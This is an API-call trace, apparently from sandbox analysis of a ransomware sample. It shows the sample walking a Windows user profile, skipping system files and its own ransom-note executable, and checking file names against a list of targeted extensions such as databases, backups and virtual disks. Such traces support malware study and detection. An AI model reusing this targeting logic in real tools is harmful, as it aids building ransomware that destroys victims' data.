	[0036.175] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1
	[0036.175] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1
	[0036.175] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1
	[0036.175] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1
	[0036.175] lstrlenW (lpString="Desktop") returned 7
	[0036.175] lstrlenW (lpString="C:\\Users\\Default\\Cookies") returned 24
	[0036.175] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop"
	[0036.175] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Desktop", dwFileAttributes=0x10) returned 1
	[0036.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0036.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca210
	[0036.175] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7ab0
	[0036.175] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0036.175] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.175] lstrcmpiW (lpString1="Documents", lpString2="Apollon865.txt.exe") returned 1
	[0036.175] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1
	[0036.175] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1
	[0036.175] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1
	[0036.175] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1
	[0036.175] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1
	[0036.176] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1
	[0036.176] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1
	[0036.176] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1
	[0036.176] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1
	[0036.176] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1
	[0036.176] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1
	[0036.176] lstrlenW (lpString="Documents") returned 9
	[0036.176] lstrlenW (lpString="C:\\Users\\Default\\Desktop") returned 24
	[0036.176] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Documents" | out: lpString1="Documents") returned="Documents"
	[0036.176] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Documents", dwFileAttributes=0x10) returned 1
	[0036.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0036.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x36) returned 0x5ca250
	[0036.176] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7ad0
	[0036.176] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1
	[0036.176] lstrcmpiW (lpString1="Downloads", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.176] lstrcmpiW (lpString1="Downloads", lpString2="Apollon865.txt.exe") returned 1
	[0036.176] lstrcmpiW (lpString1="Downloads", lpString2=".") returned 1
	[0036.176] lstrcmpiW (lpString1="Downloads", lpString2="..") returned 1
	[0036.176] lstrcmpiW (lpString1="Downloads", lpString2="windows") returned -1
	[0036.176] lstrcmpiW (lpString1="Downloads", lpString2="bootmgr") returned 1
	[0036.176] lstrcmpiW (lpString1="Downloads", lpString2="temp") returned -1
	[0036.176] lstrcmpiW (lpString1="Downloads", lpString2="pagefile.sys") returned -1
	[0036.176] lstrcmpiW (lpString1="Downloads", lpString2="boot") returned 1
	[0036.176] lstrcmpiW (lpString1="Downloads", lpString2="ids.txt") returned -1
	[0036.176] lstrcmpiW (lpString1="Downloads", lpString2="ntuser.dat") returned -1
	[0036.176] lstrcmpiW (lpString1="Downloads", lpString2="perflogs") returned -1
	[0036.176] lstrcmpiW (lpString1="Downloads", lpString2="MSBuild") returned -1
	[0036.176] lstrlenW (lpString="Downloads") returned 9
	[0036.176] lstrlenW (lpString="C:\\Users\\Default\\Documents") returned 26
	[0036.176] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads"
	[0036.177] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Downloads", dwFileAttributes=0x10) returned 1
	[0036.242] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0036.242] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x36) returned 0x5ca050
	[0036.242] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0036.242] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
	[0036.242] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.242] lstrcmpiW (lpString1="Favorites", lpString2="Apollon865.txt.exe") returned 1
	[0036.242] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1
	[0036.242] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1
	[0036.242] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1
	[0036.242] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1
	[0036.242] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1
	[0036.242] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1
	[0036.242] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1
	[0036.242] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1
	[0036.242] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1
	[0036.242] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1
	[0036.242] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1
	[0036.242] lstrlenW (lpString="Favorites") returned 9
	[0036.242] lstrlenW (lpString="C:\\Users\\Default\\Downloads") returned 26
	[0036.242] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites"
	[0036.242] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites", dwFileAttributes=0x10) returned 1
	[0036.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0036.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x36) returned 0x5ca290
	[0036.272] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0036.273] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcee150, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dcee150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.273] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.273] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
	[0036.273] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.273] lstrcmpiW (lpString1="Links", lpString2="Apollon865.txt.exe") returned 1
	[0036.273] lstrcmpiW (lpString1="Links", lpString2=".") returned 1
	[0036.273] lstrcmpiW (lpString1="Links", lpString2="..") returned 1
	[0036.273] lstrcmpiW (lpString1="Links", lpString2="windows") returned -1
	[0036.273] lstrcmpiW (lpString1="Links", lpString2="bootmgr") returned 1
	[0036.273] lstrcmpiW (lpString1="Links", lpString2="temp") returned -1
	[0036.273] lstrcmpiW (lpString1="Links", lpString2="pagefile.sys") returned -1
	[0036.273] lstrcmpiW (lpString1="Links", lpString2="boot") returned 1
	[0036.273] lstrcmpiW (lpString1="Links", lpString2="ids.txt") returned 1
	[0036.273] lstrcmpiW (lpString1="Links", lpString2="ntuser.dat") returned -1
	[0036.273] lstrcmpiW (lpString1="Links", lpString2="perflogs") returned -1
	[0036.273] lstrcmpiW (lpString1="Links", lpString2="MSBuild") returned -1
	[0036.273] lstrlenW (lpString="Links") returned 5
	[0036.273] lstrlenW (lpString="C:\\Users\\Default\\Favorites") returned 26
	[0036.273] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Links" | out: lpString1="Links") returned="Links"
	[0036.273] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Links", dwFileAttributes=0x10) returned 1
	[0036.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0036.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2e) returned 0x5b7e60
	[0036.274] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b50 | out: ListHead=0x5b76b0, ListEntry=0x5b7b50) returned 0x5b7b30
	[0036.274] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1
	[0036.274] lstrcmpiW (lpString1="Local Settings", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.274] lstrcmpiW (lpString1="Local Settings", lpString2="Apollon865.txt.exe") returned 1
	[0036.274] lstrcmpiW (lpString1="Local Settings", lpString2=".") returned 1
	[0036.274] lstrcmpiW (lpString1="Local Settings", lpString2="..") returned 1
	[0036.274] lstrcmpiW (lpString1="Local Settings", lpString2="windows") returned -1
	[0036.274] lstrcmpiW (lpString1="Local Settings", lpString2="bootmgr") returned 1
	[0036.274] lstrcmpiW (lpString1="Local Settings", lpString2="temp") returned -1
	[0036.274] lstrcmpiW (lpString1="Local Settings", lpString2="pagefile.sys") returned -1
	[0036.274] lstrcmpiW (lpString1="Local Settings", lpString2="boot") returned 1
	[0036.274] lstrcmpiW (lpString1="Local Settings", lpString2="ids.txt") returned 1
	[0036.274] lstrcmpiW (lpString1="Local Settings", lpString2="ntuser.dat") returned -1
	[0036.274] lstrcmpiW (lpString1="Local Settings", lpString2="perflogs") returned -1
	[0036.274] lstrcmpiW (lpString1="Local Settings", lpString2="MSBuild") returned -1
	[0036.274] lstrlenW (lpString="Local Settings") returned 14
	[0036.274] lstrlenW (lpString="C:\\Users\\Default\\Links") returned 22
	[0036.274] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings"
	[0036.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0036.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x40) returned 0x5b6088
	[0036.274] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7b50
	[0036.274] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1
	[0036.274] lstrcmpiW (lpString1="Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.274] lstrcmpiW (lpString1="Music", lpString2="Apollon865.txt.exe") returned 1
	[0036.274] lstrcmpiW (lpString1="Music", lpString2=".") returned 1
	[0036.274] lstrcmpiW (lpString1="Music", lpString2="..") returned 1
	[0036.274] lstrcmpiW (lpString1="Music", lpString2="windows") returned -1
	[0036.274] lstrcmpiW (lpString1="Music", lpString2="bootmgr") returned 1
	[0036.274] lstrcmpiW (lpString1="Music", lpString2="temp") returned -1
	[0036.274] lstrcmpiW (lpString1="Music", lpString2="pagefile.sys") returned -1
	[0036.274] lstrcmpiW (lpString1="Music", lpString2="boot") returned 1
	[0036.274] lstrcmpiW (lpString1="Music", lpString2="ids.txt") returned 1
	[0036.274] lstrcmpiW (lpString1="Music", lpString2="ntuser.dat") returned -1
	[0036.274] lstrcmpiW (lpString1="Music", lpString2="perflogs") returned -1
	[0036.274] lstrcmpiW (lpString1="Music", lpString2="MSBuild") returned 1
	[0036.274] lstrlenW (lpString="Music") returned 5
	[0036.274] lstrlenW (lpString="C:\\Users\\Default\\Local Settings") returned 31
	[0036.275] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Music" | out: lpString1="Music") returned="Music"
	[0036.275] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Music", dwFileAttributes=0x10) returned 1
	[0036.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0036.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2e) returned 0x5b7e98
	[0036.275] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7b70
	[0036.275] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1
	[0036.275] lstrcmpiW (lpString1="My Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.275] lstrcmpiW (lpString1="My Documents", lpString2="Apollon865.txt.exe") returned 1
	[0036.275] lstrcmpiW (lpString1="My Documents", lpString2=".") returned 1
	[0036.275] lstrcmpiW (lpString1="My Documents", lpString2="..") returned 1
	[0036.275] lstrcmpiW (lpString1="My Documents", lpString2="windows") returned -1
	[0036.275] lstrcmpiW (lpString1="My Documents", lpString2="bootmgr") returned 1
	[0036.275] lstrcmpiW (lpString1="My Documents", lpString2="temp") returned -1
	[0036.275] lstrcmpiW (lpString1="My Documents", lpString2="pagefile.sys") returned -1
	[0036.275] lstrcmpiW (lpString1="My Documents", lpString2="boot") returned 1
	[0036.275] lstrcmpiW (lpString1="My Documents", lpString2="ids.txt") returned 1
	[0036.275] lstrcmpiW (lpString1="My Documents", lpString2="ntuser.dat") returned -1
	[0036.275] lstrcmpiW (lpString1="My Documents", lpString2="perflogs") returned -1
	[0036.275] lstrcmpiW (lpString1="My Documents", lpString2="MSBuild") returned 1
	[0036.275] lstrlenW (lpString="My Documents") returned 12
	[0036.275] lstrlenW (lpString="C:\\Users\\Default\\Music") returned 22
	[0036.275] lstrcpyW (in: lpString1=0x2d3e572, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents"
	[0036.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ba8
	[0036.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3c) returned 0x5b60d0
	[0036.275] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bb0) returned 0x5b7b90
	[0036.275] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1
	[0036.276] lstrcmpiW (lpString1="NetHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.276] lstrcmpiW (lpString1="NetHood", lpString2="Apollon865.txt.exe") returned 1
	[0036.276] lstrcmpiW (lpString1="NetHood", lpString2=".") returned 1
	[0036.276] lstrcmpiW (lpString1="NetHood", lpString2="..") returned 1
	[0036.276] lstrcmpiW (lpString1="NetHood", lpString2="windows") returned -1
	[0036.276] lstrcmpiW (lpString1="NetHood", lpString2="bootmgr") returned 1
	[0036.276] lstrcmpiW (lpString1="NetHood", lpString2="temp") returned -1
	[0036.276] lstrcmpiW (lpString1="NetHood", lpString2="pagefile.sys") returned -1
	[0036.276] lstrcmpiW (lpString1="NetHood", lpString2="boot") returned 1
	[0036.276] lstrcmpiW (lpString1="NetHood", lpString2="ids.txt") returned 1
	[0036.276] lstrcmpiW (lpString1="NetHood", lpString2="ntuser.dat") returned -1
	[0036.276] lstrcmpiW (lpString1="NetHood", lpString2="perflogs") returned -1
	[0036.276] lstrcmpiW (lpString1="NetHood", lpString2="MSBuild") returned 1
	[0036.276] lstrlenW (lpString="NetHood") returned 7
	[0036.276] lstrlenW (lpString="C:\\Users\\Default\\My Documents") returned 29
	[0036.276] lstrcpyW (in: lpString1=0x2d3e572, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood"
	[0036.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0036.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca2d0
	[0036.276] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bd0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bd0) returned 0x5b7bb0
	[0036.276] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1
	[0036.276] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.276] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="Apollon865.txt.exe") returned 1
	[0036.276] lstrcmpiW (lpString1="NTUSER.DAT", lpString2=".") returned 1
	[0036.276] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="..") returned 1
	[0036.276] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="windows") returned -1
	[0036.276] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="bootmgr") returned 1
	[0036.276] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="temp") returned -1
	[0036.276] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="pagefile.sys") returned -1
	[0036.276] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="boot") returned 1
	[0036.276] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="ids.txt") returned 1
	[0036.276] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="ntuser.dat") returned 0
	[0036.276] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="NTUSER~3.LOG")) returned 1
	[0036.276] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.276] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="Apollon865.txt.exe") returned 1
	[0036.276] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2=".") returned 1
	[0036.276] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="..") returned 1
	[0036.277] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="windows") returned -1
	[0036.277] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="bootmgr") returned 1
	[0036.277] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="temp") returned -1
	[0036.277] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="pagefile.sys") returned -1
	[0036.277] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="boot") returned 1
	[0036.277] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="ids.txt") returned 1
	[0036.277] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="ntuser.dat") returned 1
	[0036.277] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="perflogs") returned -1
	[0036.277] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="MSBuild") returned 1
	[0036.277] lstrlenW (lpString="NTUSER.DAT.LOG") returned 14
	[0036.277] lstrlenW (lpString="C:\\Users\\Default\\NetHood") returned 24
	[0036.277] lstrcpyW (in: lpString1=0x2d3e572, lpString2="NTUSER.DAT.LOG" | out: lpString1="NTUSER.DAT.LOG") returned="NTUSER.DAT.LOG"
	[0036.277] lstrlenW (lpString="NTUSER.DAT.LOG") returned 14
	[0036.277] lstrlenW (lpString="Apollon865") returned 10
	[0036.277] lstrcmpiW (lpString1="ER.DAT.LOG", lpString2="Apollon865") returned 1
	[0036.277] lstrlenW (lpString=".dll") returned 4
	[0036.277] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2=".dll") returned 1
	[0036.277] lstrlenW (lpString=".lnk") returned 4
	[0036.277] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2=".lnk") returned 1
	[0036.277] lstrlenW (lpString=".ini") returned 4
	[0036.277] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2=".ini") returned 1
	[0036.277] lstrlenW (lpString=".sys") returned 4
	[0036.277] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2=".sys") returned 1
	[0036.277] lstrlenW (lpString="NTUSER.DAT.LOG") returned 14
	[0036.277] lstrlenW (lpString="bak") returned 3
	[0036.277] lstrcmpiW (lpString1="LOG", lpString2="bak") returned 1
	[0036.277] lstrlenW (lpString="ba_") returned 3
	[0036.277] lstrcmpiW (lpString1="LOG", lpString2="ba_") returned 1
	[0036.277] lstrlenW (lpString="dbb") returned 3
	[0036.277] lstrcmpiW (lpString1="LOG", lpString2="dbb") returned 1
	[0036.277] lstrlenW (lpString="vmdk") returned 4
	[0036.277] lstrcmpiW (lpString1=".LOG", lpString2="vmdk") returned -1
	[0036.277] lstrlenW (lpString="rar") returned 3
	[0036.277] lstrcmpiW (lpString1="LOG", lpString2="rar") returned -1
	[0036.277] lstrlenW (lpString="zip") returned 3
	[0036.277] lstrcmpiW (lpString1="LOG", lpString2="zip") returned -1
	[0036.277] lstrlenW (lpString="tgz") returned 3
	[0036.278] lstrcmpiW (lpString1="LOG", lpString2="tgz") returned -1
	[0036.278] lstrlenW (lpString="vbox") returned 4
	[0036.278] lstrcmpiW (lpString1=".LOG", lpString2="vbox") returned -1
	[0036.278] lstrlenW (lpString="vdi") returned 3
	[0036.278] lstrcmpiW (lpString1="LOG", lpString2="vdi") returned -1
	[0036.278] lstrlenW (lpString="vhd") returned 3
	[0036.278] lstrcmpiW (lpString1="LOG", lpString2="vhd") returned -1
	[0036.278] lstrlenW (lpString="vhdx") returned 4
	[0036.278] lstrcmpiW (lpString1=".LOG", lpString2="vhdx") returned -1
	[0036.278] lstrlenW (lpString="avhd") returned 4
	[0036.278] lstrcmpiW (lpString1=".LOG", lpString2="avhd") returned -1
	[0036.278] lstrlenW (lpString="db") returned 2
	[0036.278] lstrcmpiW (lpString1="OG", lpString2="db") returned 1
	[0036.278] lstrlenW (lpString="db2") returned 3
	[0036.278] lstrcmpiW (lpString1="LOG", lpString2="db2") returned 1
	[0036.278] lstrlenW (lpString="db3") returned 3
	[0036.278] lstrcmpiW (lpString1="LOG", lpString2="db3") returned 1
	[0036.278] lstrlenW (lpString="dbf") returned 3
	[0036.278] lstrcmpiW (lpString1="LOG", lpString2="dbf") returned 1
	[0036.278] lstrlenW (lpString="mdf") returned 3
	[0036.278] lstrcmpiW (lpString1="LOG", lpString2="mdf") returned -1
	[0036.278] lstrlenW (lpString="mdb") returned 3
	[0036.278] lstrcmpiW (lpString1="LOG", lpString2="mdb") returned -1
	[0036.278] lstrlenW (lpString="sql") returned 3
	[0036.278] lstrcmpiW (lpString1="LOG", lpString2="sql") returned -1
	[0036.278] lstrlenW (lpString="sqlite") returned 6
	[0036.278] lstrcmpiW (lpString1="AT.LOG", lpString2="sqlite") returned -1
	[0036.278] lstrlenW (lpString="sqlite3") returned 7
	[0036.278] lstrcmpiW (lpString1="DAT.LOG", lpString2="sqlite3") returned -1
	[0036.278] lstrlenW (lpString="sqlitedb") returned 8
	[0036.278] lstrcmpiW (lpString1=".DAT.LOG", lpString2="sqlitedb") returned -1
	[0036.278] lstrlenW (lpString="xml") returned 3
	[0036.278] lstrcmpiW (lpString1="LOG", lpString2="xml") returned -1
	[0036.278] lstrlenW (lpString="$er") returned 3
	[0036.278] lstrcmpiW (lpString1="LOG", lpString2="$er") returned 1
	[0036.278] lstrlenW (lpString="4dd") returned 3
	[0036.278] lstrcmpiW (lpString1="LOG", lpString2="4dd") returned 1
